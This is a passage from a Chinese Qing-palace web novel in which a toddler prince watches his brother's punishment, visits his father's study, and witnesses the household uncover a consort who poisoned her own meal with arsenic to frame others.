瞧着额娘泪水涟涟的哀求着阿玛,弘昼顿时也有些后悔了,喃喃道:“额娘。” 这时,弘晏冲着不远处的胤禛喊道:“阿玛。” 听到熟悉的小奶音,胤禛面容稍缓,而准备爬树的两个小太监,收到了苏培盛使的眼色 以后,也先退到一旁了。 这件事惊动了乌拉那拉氏,胤禛并不意外,只是他确实没有想到乌拉那拉氏会将弘晏一并带来。 待乌拉那拉氏抱着弘晏来了胤禛面前,弘晏奶呼呼的展开双手,冲着胤禛喊道:“阿玛,抱抱。” 胤禛顿了顿,还是抬起手将弘晏抱进了怀里。 弘晏忽闪着大眼睛,糯糯的开口:“好阿玛,树高,救锅锅下来,不打屁屁。” 弘晏现在还说不了太长太复杂的话,但他明白便宜阿玛能听懂他的意思。 说实话,胤禛对于自己的几个孩子,虽然要求严格,但都是疼爱的。 如今,只不过是在气头上罢了。 一旁的乌拉那拉氏现在算是明白弘晏为什么非要跟着来了。 或许,弘晏的话,胤禛真的愿意听进去呢。 胤禛顿了片刻,答应弘晏不打弘昼的屁股,让弘昼自己下来。 而树上的弘昼,现在早已经腿软了,惨兮兮的抱着树枝,等着下面的小太监上去解救。 胤禛扫了一眼尚跪在地上的耿格格,不悦道:“还不快些起来,哭哭啼啼像什么样子。” 钮祜禄格格见状,连忙扶耿格格起来。 待小太监成功的将弘昼解救下来以后,耿格格直接将弘昼抱进了怀里:“弘昼,你要吓/死额娘了。” 弘昼低低道:“额娘,我没事。” 说罢,弘昼用手给耿格格擦脸上的泪水。 胤禛沉声喊道:“弘昼。” 耿格格听了这话,赶忙将怀里的弘昼放到了地上,拉着弘昼给胤禛认错。 弘昼当时也是怕屁股开花,脑子一热就手脚并用,蹭蹭的爬上了银杏树,现在再叫他去爬,他也不敢了。 弘昼跪在地上,低着脑袋说道:“阿玛,我知道错了。” 胤禛见状,看了一眼怀里正盯着自己瞧的弘晏。 那肉嘟嘟的脸蛋儿上的小表情好像在说:“言而有信,不能反悔”。 胤禛只道:“知错便要改错,我今日不打你,罚你将“错”字抄写一百遍。” 弘昼哭丧着脸:“啊?” 倒是耿格格听了这话,悬着的心立马放下了,赶忙替弘昼应下,并保证自己会督促弘昼抄写百遍。 胤禛环顾四周后,朗声道:“别干杵着了,都回去吧。” 话音落下,胤禛抱着弘晏往正院的方向去,乌拉那拉氏则在后面跟着。 回正院的路上,弘晏竖起了大拇指:“阿玛棒!” 胤禛勾了勾唇。 小家伙,倒是会哄人。 到了正院,弘晏嚷着叫流萤把哈密瓜端出来给胤禛吃。 流萤在弘晏身上栽了一回跟头,闻此言,迟疑的看向了乌拉那拉氏。 乌拉那拉氏点了点头,流萤迈步出去,再回来时将切好的哈密瓜奉上。 而弘晏却被王乳娘抱去了隔壁的耳房玩耍。 弘晏表示:本宝宝就想多吃一块哈密瓜,有错吗? 第39章 第39章屁股开花 夜色朦胧,月上枝头。 正院内,烛火通明。 用罢晚膳,乌拉那拉氏与胤禛移坐到檀木小榻上说话,弘晏本是蹲在地上给绿牙和褐风喂食,听到胤禛说要回前院书房,便站起身走过去,伸出双手抱着胤禛的大腿,嚷着要和胤禛一起去。 说起来,他还没有去过便宜阿玛的书房呢。 胤禛见状,自是高兴的。 难得小家伙这么黏他。 因着乌拉那拉氏不许弘晏吃哈密瓜,待胤禛抱着弘晏离开正院的时候,弘晏亲亲热热的环着胤禛的脖子,故意没有对乌拉那拉氏挥手拜拜。 外面天色已晚,虽有明月高悬于苍穹,但那月光倾泻而下,如点点银光,到底朦胧了些,苏培盛提了一盏灯笼为父子俩照明。 夏日的夜里,时有虫鸣。 但弘晏自己自己个儿就养着蝈蝈,听着这虫鸣不会害怕,更觉得有一番趣味。 胤禛的脚步稳而快,很快就到了前院的书房。 弘晏一进去,便睁着大眼睛环顾四周,这书房与他想象中的一般无二。 胤禛行事低调,这书房的摆设不见奢华,但却雅致,一张宽大的檀木书案,定是胤禛具体的办公所在,书案后有两座书架,每一层都摆满了书。 靠着墙根放置的多宝架上陈列的都是胤禛收藏的文玩之物,再有就是墙上悬挂的字画、高几上摆放的瓷瓶,乍一看没什么稀奇,但以胤禛的品味来说,每一件定然都价值不菲。 弘晏想着这书房里陈列出来的定然只是九牛一毛,胤禛的私库里一定有不少的宝贝。 胤禛可不知怀里小家伙的心思,只是将弘晏交给苏培盛照顾,便去处理公务去了。 苏培盛是头一回抱弘晏,小心的不行。 不过,苏培盛对着奶呼呼的小团子,面上都是笑呵呵的。 小团子的手感软软糯糯的,身上还带着一股奶香味,怪不得爷这么喜欢抱六阿哥。 苏培盛想把弘晏放小榻上,弘晏却想看看便宜阿玛的宝贝鱼,手指便指向了鱼缸处。 苏培盛见状,便抱着弘晏去了,转而将弘晏放在檀木椅子上。 原来这就是便宜阿玛的宝贝虎头金鱼,头顶上顶着一抹红,确实虎头虎脑,怪挺可爱的。 弘晏在心里数了数,一,二,三,四? 弘晏疑惑的抬眸问向了苏培盛:“锅锅,馒头喂鱼鱼,鱼鱼,还有的?” 苏培盛将这些词语串在一起,自然是明白了弘晏的意思。 六阿哥是想知道白日里,五阿哥拿着馒头将虎头金鱼喂/死了,为什么这里还有虎头金鱼? 于是,苏培盛便开始给弘晏讲了起来。 当初内务府的都虞司送来的虎头金鱼本有六条,只因其中一条虎头金鱼陡然换了环境不适应,没两日便死了。 胤禛瞧见后,知晓这些鱼儿娇贵,便精心养着,如狼群里面有狼王一般,这五条鱼中便有一条最大的虎头金鱼是这里面的鱼王,每次喂食,它便跃出水面争夺,也正因此,五阿哥抛入水中的馒头块,都让这鱼王吃了,其余的鱼见着鱼王吃了馒头块翻了肚子,死翘翘了,自然都不敢吃了,是以其余四条虎头金鱼躲过一难。 当然,对着一个小奶娃,苏培盛虽然将话说的简单直白,但是将“死”字都换成了“翻白肚”的字眼儿。 胤禛喜静,平日里书房只留了苏培盛一人伺候,其余人都在房外侯着,但若无胤禛开口吩咐,苏培盛是万不敢出声打扰的。 如今,书房里多了一个好奇的小奶娃,小嘴叭叭的问东问西,胤禛竟也不觉得吵闹,相反,胤禛一边在书案那头处理公务,一边注意着弘晏的动静。 “福宝,你来书房原是瞧上了阿玛的虎头金鱼了?” 弘晏闻言,看向了书案那边,见胤禛依旧专注的挥舞着手里的狼毫笔。 便宜阿玛怎么可以这么想他呢? 他才没有呢! 随即,弘晏扬起小脸看着苏培盛,伸展了双臂:“苏苏,抱,找阿玛。” 苏苏? 苏培盛嘴角抽了抽,打他从娘胎里出来,还没有人这么唤过他呢? 不过,小主子这么喊,他又能说什么呢? 就当做是小主子对他的爱称了。 苏培盛应了一声,忙不迭将弘晏抱起来,往书案那边走。 待到了书案旁,弘晏边伸出双手边对着奋笔疾书的胤禛唤道:“阿玛,抱抱。” 胤禛手中挥舞的狼毫笔一顿,转而将狼毫笔放在了 笔山上,伸手接过了弘晏。 弘晏整个人贴着胤禛,忽闪着璀璨明亮的大眼睛,奶呼呼的说道:“窝是陪阿玛,喜欢阿玛。” 胤禛瞧着弘晏灿若星辰的眼睛,唇角微微翘起:“福宝,若是喜欢虎头金鱼,阿玛送一条给你养着,可好?” 弘晏听罢,先是开心的点了点小脑袋,转而又抬起右手,竖起两个小手指:“窝要两条。” 胤禛眉头一挑,抬手屈指轻轻刮了一下弘晏光滑细腻的鼻尖:“两条?你会养吗?” 小家伙,可真敢开口。 弘晏闻言,抬了抬下巴,自信满满的说道:“会。” 养两条鱼有什么难的? 他都能养蝈蝈呢!(骄傲脸.jpg) 胤禛笑了:“好,明日阿玛差人给你送去正院。” 弘晏见胤禛这么爽快就答应了,笑嘻嘻的凑上去,在胤禛脸上“啵啵”亲了好几下。 被弘晏糊了一脸口水,胤禛面上有些嫌弃,心里却美得不行,这可是小家伙第一次亲他呢! 陪着弘晏玩闹了一会儿,胤禛便要继续处理公务了。 苏培盛则将弘晏放在了檀木小榻上,又拿了一些孩童的玩具给弘晏。 弘晏对拨浪鼓、布老虎这一类东西早就无感了,不过九连环是有些日子没有玩过了,可以再练练手了。 苏培盛给胤禛端了一碗热茶之后,便守在弘晏身边。 父子两个各忙各的,倒是互不打扰。 —— 邀月轩内。 白日里胤禛罚弘昼抄写“错”字百遍,因着弘昼个头小,还够不到书案,是以耿格格命秋叶将笔墨纸砚放在了檀木小榻的炕桌上,如今,耿格格正握着弘昼的手,在宣纸上抄写“错”字。 弘昼连启蒙的《三字经》都不愿意学,更没有接触过笔墨,再加上弘昼才三岁,手指绵软无力,纵使是耿格格握着弘昼的手来写,也着实费力。 弘昼哭丧着一张小脸,捏着狼毫笔的手心因使力都沁出了一层汗,再瞧那宣纸上歪歪扭扭螃蟹似的五个“错”字,终于是忍不住了,扬起小脸对着耿格格说道:“额娘,我不想写了。” 耿格格闻言,便松了握着弘昼的手,将狼毫笔放回了笔山上:“弘昼是写累了?那咱们就歇歇。” 耿格格嘴上说着,实际上偷偷活动着自己的手腕。 握着弘昼的手写字,比她自己写字费力多了。 握紧一分力,怕勒了弘昼的手;松一分力,又怕字不成形。 弘昼见耿格格误解了自己的意思,又道:“额娘,我是不想写了,这字这么难写,阿玛分明是在整我。” 写了这么久,才堪堪写了五个字,还有九十五个字,他要写到猴年马月去。 就算是启蒙快的弘历,也没有开始学写字呢。 耿格格敛容道:“弘昼,不可胡说。” 弘昼不服气的哼了哼。 耿格格知晓这百遍抄写对于弘昼来说是一种折磨,可对于她来说,这已经是最好的结果了。 是以,耿格格耐着性子哄道:“弘昼,你阿玛又没有让你明天就将这百遍“错”字交上去,额娘陪着你,咱们慢慢写,再写两个,咱们今个儿就不写了。” 耿格格的话并没有让弘昼改变主意,只见弘昼从小榻上蹦了下去,而后踩着脚踏,一边往外走,一边说道:“今天不写,明天、后天还是要写,与其天天受罪,还不如让阿玛直接揍我一顿呢!” 有道是:长痛不如短痛。 耿格格见状,连忙快步走上去拦住弘昼:“你这孩子,哪有上赶子讨打的。” 王爷好不容易消了气,弘昼这会儿子去,岂不是没病吃药——自讨苦吃。 弘昼嘟囔道:“反正阿玛也不会打/死我。” 顶多是屁股开花,在床上躺几天。 耿格格额间一跳,赶忙伸出手捂住了弘昼的嘴。 耿格格又气又心疼:“你这孩子,什么胡话都敢说,一点儿忌讳都没有。” “死”字,也是能随便说出口的吗? 弘昼见耿格格眼尾又红了,不再说话了,耿格格方才松了捂着弘昼嘴巴的手。 耿格格抬眸看向还立在小榻旁的秋叶,出声吩咐道:“秋叶,将东西收了吧,夜深了,明日再写吧。” 现在纵使是弘昼想写,她也没有心情了。 弘昼见状,抬手拽着耿格格的衣摆:“额娘,我知错了,我不说了,你别伤心了。” 耿格格叹了口气,蹲下身子来,抬手摸了摸弘昼的小脑袋瓜:“弘昼,那个字,以后万不可再说了,额娘这辈子唯一的心愿,就是你能够平平安安,健健康康的长大。” 弘昼扑进了耿格格怀里,哽咽道:“额娘。” 耿格格轻抚着弘昼的后背:“好了,时候不早了,你该沐浴了。” 弘昼从耿格格怀里出来:“额娘,我想吃你亲手做的杏仁酪。” 耿格格想着弘昼写字应是费了不少力,爽快的答应了。 —— 前院书房这边。 苏培盛见弘晏不到一盏茶的时间便解开了九连环,大为震惊,忙对着胤禛禀道:“爷,六阿哥自己将九连环解开了。” 胤禛闻言,从圈椅上站起来,绕开书案大步走了过来,瞧见了小榻上个个分明的铁环,确认道:“福宝,真是你自己解开的?” 弘晏很是平静的回答道:“嗷。” 他早就会解九连环了,只是便宜阿玛不知道罢了。 胤禛脸色如常,心里却想着弘晏当真是天资聪颖。 弘晏见胤禛不言语,出声道:“阿玛,窝渴了。” 胤禛思绪回笼,旋即撩起衣袍一角,坐在了弘晏身旁,问道:“福宝,可是要喝牛乳?” 弘晏点了点小脑袋。 苏培盛想着弘晏不久前用过了晚膳,便问道:“六阿哥,给您端半碗牛乳来?” 弘晏摇了摇小脑袋:“窝要一碗。” 胤禛想着弘晏玩了这么久,晚膳消耗的差不多了,应当是饿了,便对着苏培盛吩咐:“端一碗来。” “嗻。” 苏培盛应了一声,便吩咐人去办。 不一会儿的功夫,苏培盛的徒弟小喜子便将牛乳端上来了。 等待牛乳的过程中,弘晏的确是有些饿了,如今便大口大口的喝了起来。 这厢,胤禛刚拿着帕子给弘晏擦干净了嘴唇外面的一圈奶渍,就见小喜子进门禀报道:“爷,五阿哥来了。” 第40章 第40章吃瓜群众 听到弘昼在外面,弘晏眼睛一亮,兴冲冲的说道:“锅锅来了。” 这个时辰,弘昼突然前来,胤禛心里猜到了几分,面上却不显,只抬眸吩咐道:“叫他进来。” 小喜子应了一声。 片刻后,三头身的小娃娃就走了进来,一抬眼看到小榻上的弘晏时,弘昼震惊之余露出了笑容,然而余光瞧见胤禛那严肃的模样,弘昼敛了笑意,规规矩矩的拱手道:“见过阿玛。” 弘昼的左右不见耿格格与奴才相伴,胤禛心里了然,面上却依旧平和的问道:“弘昼,你此番来前院,你额娘可知晓?” 弘昼摇了摇脑袋:“我是偷跑出来的,阿玛,那“错”字太难写了,额娘教我写了好久,手都写酸了,才写了五遍,你还是打我一顿出气吧,这样额娘也省心些。” 胤禛脸色一沉,看着面前视死如归般的弘昼,哼道:“好啊,爷就成全你。” 话音落下,胤禛又吩咐道:“苏培盛,拿鸡毛掸子来。” 而弘昼闻此言,眼皮子也不眨的跪了下去。 小榻上的弘晏见胤禛真的动了气,便想为弘昼讲情:“阿玛……” 熟料弘晏刚喊了两个字,胤禛便朝着弘晏比了一个嘘的手势。 弘晏见状,不知胤禛葫芦里卖的什么药,但还是乖乖的噤了声。 这厢,苏培盛行至胤禛面前,已然将鸡毛掸子双手呈上。 胤禛一把接过鸡毛掸子,对着弘昼说道:“动手之前,爷得告诉你为什么该打。” “撺掇弘历喂/死虎头金鱼,一错也;父有召半路而逃,二错也;攀爬银杏树,要 挟阿玛,连累额娘担忧伤神,三错也;深夜偷跑出邀月轩,四错也。弘昼,此四错,你可认?”胤禛说完,站起身来居高临下的看着弘昼。 弘昼听完,嗫嚅着嘴唇说道:“孩儿认错。” “很好,即知错、认错,这顿打,爷就让你牢牢记住,不可再犯。”话说完,胤禛高高扬起了鸡毛掸子,随即,手臂向下一挥,那鸡毛掸子在空中划出一道弧线,眼瞅着朝着弘昼的屁股落去。 弘昼听到了鸡毛掸子从空中快速划过时发出的声音,吓得双手抱头,紧闭着眼睛喊道:“啊,疼,阿玛,我错了,我再也不敢了。” 虽然不合时宜,但是坐在小榻上目睹了全过程的弘晏还是疑惑的表示:打屁股?捂脑袋有什么用? 弘昼的话音落下之后,屋子里安静的很,弘昼突然发觉自己的小屁股好似并不疼? 这般想着,弘昼睁开了眼睛,往后扭脸一看,才瞧见那鸡毛掸子停在了距离自己的小屁股还有一寸的空中。 弘昼的视线顺着鸡毛掸子的方向上移,瞧见了胤禛那张依旧严肃的脸。 弘昼吞了吞口水,试探的喊道:“阿,阿玛。” 阿玛这是想饶了他? 还是想吓唬完他之后,再来真格的? 吃瓜群众弘晏看到这里,便明白了胤禛的心思,也瞧清楚了弘昼表面的镇静都是装出来的,三岁的小奶娃哪里能不害怕挨揍呢! 此时,门外响起了小喜子的声音:“爷,耿格格求见。” 胤禛语气淡然:“叫她进来。” 下一瞬,门“咯吱”一声响,耿格格带着秋叶进来后,瞧见了胤禛手里的鸡毛掸子和地上跪着的弘昼,思忖着自己来得及时,胤禛正准备动手呢。 “妾身见过王爷。”耿格格说完,兀自站直了身子,瞧着胤禛面色不虞,随即又道:“王爷,弘昼这孩子诓骗妾身说要吃杏仁酪,将妾身支走后,又道自己要出恭,不许奴才们跟着,谁料竟是一个人跑来前院,扰了王爷的清净,着实该打。” 耿格格说到这里,俊眉微颦,看向了弘昼,不过片刻的功夫,耿格格的视线转而又望向了胤禛:“只是,弘昼顽劣,妾身难辞其咎,但求王爷以身子为重,莫要因弘昼动了肝火,那便是妾身的罪过了。” 话音落下,耿格格微微低下了头。 小榻上看戏的弘晏听罢,不禁腹诽:耿格格弯弯绕绕的说了这么多,左不过还是在替弘昼求情罢了,只是,耿格格又岂能知晓,胤禛压根就没打算要真的揍弘昼一顿。 胤禛顿了片刻,将手中的鸡毛掸子扔给了苏培盛,接着视线下移,看向了跪在地上的弘昼:“看在你额娘的面子上,便饶了你这顿打,爷给你三天的时间,将百遍“错”字抄写完,届时三日期满,少一遍,鸡毛掸子就抽屁股一下,可明白?” 弘昼点头如捣蒜。 随即,胤禛摆了摆手。 耿格格忙带着弘昼离开了书房。 胤禛走到小榻旁坐下,脸上的神情又变得柔和:“福宝,阿玛方才的样子,可吓到你了?” 胤禛心里其实并不想这么早,就让弘晏瞧见自己严苛的那一面。 弘晏见状,扑到了胤禛怀里:“嘿嘿,窝不怕,阿玛好。” 胤禛听罢,一颗心好似被羽毛拂过,有些酥酥痒痒的。 胤禛将最后一点儿公务处理完,便给弘晏洗漱,猛然想起不久前弘晏喝了一碗牛乳,再回忆起弘晏之前尿床的场景。 于是,在上床睡觉之前,胤禛特意看着弘晏尿了一次,才放下心来。 翌日清晨,胤禛醒来后,一低头,便瞧见了怀里正睡得香甜的小家伙。 胤禛小心翼翼的托起弘晏的小身子,待自己坐起来之后,再轻手轻脚的将弘晏放回到床榻上,给弘晏盖好了被子方才下了床。 穿衣洗漱罢,胤禛嘱咐好书房的奴才们好生照顾弘晏之后,方才出门上朝去。 弘晏这一觉醒来,天已经大亮了。 一直守在床榻旁的小喜子听到动静,便将帐幔勾起,唤道:“六阿哥,您醒了。” 弘晏认得这是苏培盛的徒弟,也是便宜阿玛身边得力的人。 小喜子看着床榻上的小人儿,询问道:“六阿哥,奴才侍候您起床梳洗?” 弘晏还未完全清醒,有些迷糊的点了点小脑袋。 小喜子闻言,立马喊人打热水进来,开始伺候弘晏穿衣、洗漱。 一切收拾妥当,小喜子又弓着腰问道:“六阿哥,您是先用早膳,还是奴才送您回正院福晋那儿去?” 虽然一晚上没有见额娘了,但还是干饭最重要了。 弘晏忽闪着黑葡萄般的大眼睛,奶呼呼的说道:“饿了。” 既然六阿哥要用早膳,小喜子便征求起弘晏的意见了:“那奴才给您端牛乳和豌豆黄来?” 好不容易额娘不在,他当然要多吃几样了,只见弘晏一本正经的点起菜来:“窝还要鸡蛋羹、牛肉饼饼、枣糕糕,梅花包包。” 小喜子一听,有些迟疑了。 只是小主子点名要吃,做奴才的自然要准备,小喜子便让人分别端了小半碗牛乳和小半碗鸡蛋羹来,余下的豌豆黄、牛肉酥饼、枣糕、梅花包子都事先让人切成了一小块一小块,再用小碟子摆放好,最后端到饭桌上来。 这六种吃食呈上来,弘晏每一样尝一些,便已经有七八分饱了。 便宜阿玛不在,这书房也没甚意思,弘晏便打道回正院去,小喜子捧着小鱼缸在后面不紧不慢的跟着。 到了正院,弘晏冲着院子里洒扫的奴才们比了个嘘的手势,而后蹑手蹑脚的迈上台阶,溜着墙边走,而后用两只手扒着门,探出小脑袋往里看。 小榻上的坐着品茶的乌拉那拉氏,很快发现了门外鬼鬼祟祟的小家伙,嘴角微微勾起,旋即放下茶盏,抬眼对着流萤说道:“流萤,去瞧瞧外面是不是有一只小耗子。” 流萤也发觉了弘晏的身影,闻乌拉那拉氏此言,配合着答应。 而弘晏本人听了这话,可就不乐意了。 弘晏也不藏了,气鼓鼓的迈着小短腿走进去,来到乌拉那拉氏面前,哼了哼:“额凉坏,窝才不是耗子。” 他明明是玉兔精! 乌拉那拉氏倒是笑了,旋即又假意绷起脸来:“额娘不给你吃哈密瓜,又说你是小耗子,确实是坏额娘,你还是回前院去吧。” 乌拉那拉氏这话,倒是让弘晏听出了点儿酸味来。 于是,弘晏上前抱着乌拉那拉氏的大腿,仰着小脸撒娇道:“不要,想额凉,窝最稀罕额凉了。” 奶呼呼的声音落下,乌拉那拉氏伸手将弘晏抱起来,放在自己的膝头,旋即又凑过去贴了贴弘晏的小脸蛋儿:“福宝,昨晚跟你阿玛睡,可尿床了?” 弘晏闻言,小脑袋摇晃的跟拨浪鼓似的。 尿床? 不存在的! 乌拉那拉氏笑了:“那可有踢被子?” 昨夜弘晏不在她身旁,她还有些不习惯呢。 弘晏想了想:“窝不知道。” 乌拉那拉氏继续问:“吃早膳了吗?” 弘晏摸了摸自己的肚子:“饱饱的。” 弘晏猛然想起什么,对着乌拉那拉氏说道:“额凉,阿玛给窝鱼了。” 弘晏话音落下,小喜子这才抬步进去给乌拉那拉氏请安:“福晋,这两条虎头金鱼,是爷送给六阿哥养的。” 随即,弘晏便指挥着小喜子将鱼缸放到小几上。 若是放的地方太高,他便不好给虎头金鱼喂食了。 小喜子按照弘晏的意思,将鱼缸摆正后,便告辞离开了正院。 这厢,弘晏拉着乌拉那拉氏观赏虎头金鱼,可瞧着这鱼缸,弘晏总觉得单调了些,若是在里面放些装饰物,从视觉效果上看会好一些。 说干就干,弘晏便让乌拉那拉氏陪他到园子里去,捡一些光滑的石头放进鱼缸的底部来做装饰。 弘晏从前院书房走回正院,已然费了不少力气,如今走了一半的路,便有些累了,乌拉那拉氏便直接将弘晏抱起来。 过了一晚上,再次感受到额娘香香软软的怀抱,弘晏很是享受。 “给福晋请安。” 弘晏听着这女声很是耳熟,从乌拉那拉氏怀里探出头一看,原来是年侧福晋。 乌拉那拉氏寒暄道:“年妹妹好兴致啊。” 年侧福晋轻笑道:“今个儿日头好,便出来走走。”话说着,年侧福晋的视线落在弘晏身上:“福晋是带六阿哥来赏花?” “这孩子待不住,带他出来玩玩儿。”乌拉那拉氏话音落下,便将弘晏放在了地上。 弘晏转而便小跑着找好看的石头去了,王乳娘忙不迭跟上弘晏。 乌拉那拉氏与年侧福晋,便去了几步远的凉亭内说话。 “我瞧着年妹妹的精神好多了,可还吃着柳大夫的药?” 自年侧福晋小产以后,身子亏损又心有郁结,汤药是一直没有断过的。 年侧福晋点了点头,旋即又打趣起自己来:“我吃汤药跟旁人吃点心似的,是日日离不得了。” 乌拉那拉氏闻言,便知年侧福晋还是心病,总是伤春悲秋的身子怎么好的了。 正当乌拉那拉氏想劝年侧福晋几句的时候,银烛气喘吁吁的跑过来禀道:“福晋,碧波苑出事了!”【你现在阅读的是 】 40-50 第41章 第41章自相矛盾 银烛缓了缓,迈步到乌拉那拉氏身旁耳语了几句。 乌拉那拉氏脸色大变,转而吩咐王乳娘照看好弘晏,自己则带着银烛要往碧波苑去。 蹲在地上捡石头的弘晏,本就距离乌拉那拉氏不远,而银烛的音量又高,是以弘晏听的清清楚楚。 有新鲜出炉的瓜,他怎么能错过呢? 弘晏果断的放下手中的石头,站起身子小跑过去,抱住乌拉那拉氏的小腿:“额凉,窝要去。” 乌拉那拉氏哄道:“福宝乖,先跟王乳娘回去,额娘要办正事。” 弘晏抱着乌拉那拉氏的小腿不撒手,倔强的嚷道:“不要,窝要跟着额凉,跟着额凉。” 若换做平时,乌拉那拉氏便依了弘晏,只是今日之事,事关重大,弘晏小小年纪,绝不能瞧见那等肮脏的东西。 乌拉那拉氏给王乳娘递了个眼色,王乳娘心领神会,迈步过来。 而乌拉那拉氏假意答应,将弘晏高高举起来,就当弘晏以为乌拉那拉氏要将自己抱进怀里,带着他一同前去碧波苑的时候,乌拉那拉氏忽然将他塞进了王乳娘怀里,便疾步而去。 弘晏:!!! 他额娘好一招声东击西。 弘晏在心里叹了口气,认命的由着王乳娘抱回了正院去。 而年侧福晋既恰好知晓了碧波苑出了事,便与乌拉那拉氏一同去往碧波苑。 这厢,乌拉那拉氏与年侧福晋前后脚进了碧波苑的正厅,便见地上有一只断了气的鹦鹉和碗碟的碎片。 乌拉那拉氏眉头微颦,拿起帕子掩了一下口鼻。 春风扶起小榻上惊魂未定的李侧福晋,向乌拉那拉氏见礼。 只见李侧福晋哭喊道:“福晋,妾身自禁足以来,一直安守本分,也不知是谁这么狠心,竟要害妾身的性命。” 乌拉那拉氏示意春风将李侧福晋扶回小榻上,转而问道:“到底发生了何事?” 春风闻言,回道:“禀福晋,我们侧福晋自禁足以来,一直吃斋礼佛,今日侧福晋胃口不佳,便先盛了些饭菜喂了鹦鹉,谁知那鹦鹉吃完就倒下了。” 李侧福晋接话道:“若不是这鹦鹉,妾身此刻便已然做了孤魂野鬼了。” 乌拉那拉氏安抚道:“王府出了这等恶事,本福晋一定会彻查清楚,你且安心。” 乌拉那拉氏话音刚落下,柳从南正好提着药箱赶来。 柳从南打千儿道:“奴才给福晋请安,李侧福晋请安,年侧福晋请安。” 乌拉那拉氏开口道:“不必多礼,这鹦鹉吃了李侧福晋的饭食,毙了命,你且验上一验。” 柳从南应声,便从药箱打开,拿出银针来,先验了洒落在地上的清炒佛手瓜,而后又验了饭桌上的其他饭菜。 柳从南举起了发黑的银针:“禀福晋,只有一道清炒佛手瓜有毒,其余饭菜皆无毒。” 乌拉那拉氏问道:“哦?是何毒?” 柳从南答道:“回福晋,是鹤顶红。” 此时,李侧福晋身旁的春风纳闷的嘟囔道:“明明是砒……” 春风恍然反应过来,将未说完的话,咽了回去。 年侧福晋敏锐的捕捉到了这一点儿,直勾勾的盯着春风问道:“春风,你刚才说明明是砒什么?” 春风闻言,含糊道:“年侧福晋,您听差了,奴才是说明明好好的鹦鹉,就这样没了。” 年侧福晋见春风目光闪烁,虽不信这番说辞,但也无可奈何,毕竟春风说的只是半句话。 李侧福晋顺势道:“鹤顶红剧毒无比,也不知妾身得罪了谁。” 乌拉那拉氏悠悠道:“下毒之人若诚心害命,便该将饭菜里全放入鹤顶红,怎会单单放入一道佛手瓜里?” 下毒之人怎能预知李侧福晋一定会吃那道佛手瓜。 年侧福晋开口道:“福晋的意思是,下毒之人该是熟悉李姐姐之人?” 乌拉那拉氏点了点头。 春风赶忙道:“福晋,那便是膳房的人了,一审便知。” 年侧福晋朗声道:“膳房大大小小加起来也有二三十人,难不成一个个审?兴师动众又会闹得王府人心惶惶。” 李侧福晋蹭的一下从小榻上站起来:“年氏,你再三出言阻挠,莫非这是你的手笔?” 年侧福晋俊眉微颦:“笑话,我年玥瑶光明磊落,从不做卑鄙下流之事,你想审问膳房的人,也要先查明是何人负责你的饮食,又是何人送往碧波苑。” 不缩小范围,如何尽快抓住罪魁祸首。 李侧福晋最不愿听得便是年侧福晋抬出自己的母家,是以年侧福晋这话成功的激起了李侧福晋的怒气:“还查什么?证据都摆在眼前,分明是膳房的奴才们捧高踩低,见我失势了,偏送我不爱吃的菜来糊弄我。” 乌拉那拉氏眉头一挑:“李氏,既然膳房送的都是你不爱吃的菜,下毒之人又为何只往佛手瓜里下毒?” 李侧福晋这才惊觉失了口,赶忙找补道:“那是……那是我喜爱吃佛手瓜。” 乌拉那拉氏接着问道:“你方才还说饭食都是你不喜之物,此刻又说喜吃佛手瓜,岂非自相矛盾?” 李侧福晋目光闪烁道:“我是喜欢吃佛手瓜,旁的不喜欢吃。” 乌拉那拉氏追问道:“那你又为何独独喂给鹦鹉佛手瓜?” 李侧福晋揉着手里的帕子:“我的鹦鹉自是也爱吃佛手瓜。” 李氏的话太牵强了些。 乌拉那拉氏的视线落在春风身上,开口问道:“春风,你家主子喜爱佛手瓜与否,你该是最清楚的。” 春风吞吞吐吐道:“我家主子她,她最爱吃佛手瓜的。” 乌拉那拉氏心里已然明了了几分,吩咐道:“银烛,去前院请三阿哥来。” 银烛迈步去办。 李侧福晋有些慌了:“福晋,叫弘时来做甚,这阵仗免得吓坏了他。” 乌拉那拉氏悠悠道:“放心,弘时不会瞧见的。” 待银烛带着三阿哥进了碧波苑时,正厅的门已然阖上,乌拉那拉氏独自在廊下站着,而年侧福晋奉命在屋里盯着李侧福晋,莫要让她出声。 弘时规规矩矩的行礼道:“见过嫡额娘。” 乌拉那拉氏笑呵呵道:“免礼,弘时,嫡额娘问你一个问题,你可要如实回答。” 弘时点了点头。 乌拉那拉氏温声道:“咱们王府负责采买的管事说,如今的佛手瓜新鲜的很,想多买些回来,你额娘虽然禁了足,但饮食上该有的却是不能少的,你额娘可爱吃佛手瓜?” 弘时摇了摇头:“额娘可讨厌吃佛手瓜了,嫡额娘你不用让人给我额娘送的。” “好,嫡额娘吩咐人给你额娘换别的菜来。”乌拉那拉氏说罢,便示意银烛将弘时带回去。 弘时迟疑道:“嫡额娘,我能见见我额娘吗?” 乌拉那拉氏开口道:“并非嫡额娘不让你见,只是你阿玛若知晓了,会如何?” 弘时想起胤禛那张阴沉的脸,小脸顿时垮了下来,忙跟着银烛回了前院。 乌拉那拉氏转身进了正厅,瞧见的便是李侧福晋那张惨白的脸。 接着,乌拉那拉氏的视线落在春风身上:“春风,本福晋问话,你竟敢欺瞒,来人,拖出去,杖二十。” 春风声音颤抖的哀求:“福晋饶命,奴婢是关心则乱,才说错了话。” 柳从南站出来禀报道:“福晋,佛手瓜里的毒并非鹤顶红,而是砒霜,奴才之所以这么说,便是想诈一诈下毒之人,如今春风的话前后矛盾,而她又是李侧福晋亲近之人,嫌疑颇大。” 年侧 福晋此时也明了:“怪不得,方才你会说明明是砒……没说完的话便是砒霜吧。” 乌拉那拉氏开口吩咐道:“来人,搜。” 果不其然,从春风的袖子里搜出来一包粉末,乌拉那拉氏使了个眼色,柳从南心领神会,打开查验过后确实是砒霜,而且有用过的痕迹。 “身为奴才,竟敢谋害主子,来人,将春风拖出去,即刻杖毙。” 乌拉那拉氏话音落下,春风立马吐了口:“福晋开恩,这一切都是侧福晋的意思,奴婢只是奉命行事。” “啪” 李侧福晋一个巴掌,直接甩在了春风的脸上。 春风吃痛的捂住了脸颊。 乌拉那拉氏喝道:“放肆,李氏,还不如实招来。” —— 正院里,弘晏只能逗蝈蝈打发时间,听见动静后,便立刻跑了出去,摆出一副关心的模样来:“额凉,李额凉还好吗?” 银烛一听,嘴快道:“亏得阿哥惦记她,自己给自己下毒……” 乌拉那拉氏一个眼刀子飞过去,银烛讪讪闭了口。 纵使银烛没说完,弘晏却明白了。 他还以为是什么新鲜出炉的大瓜呢? 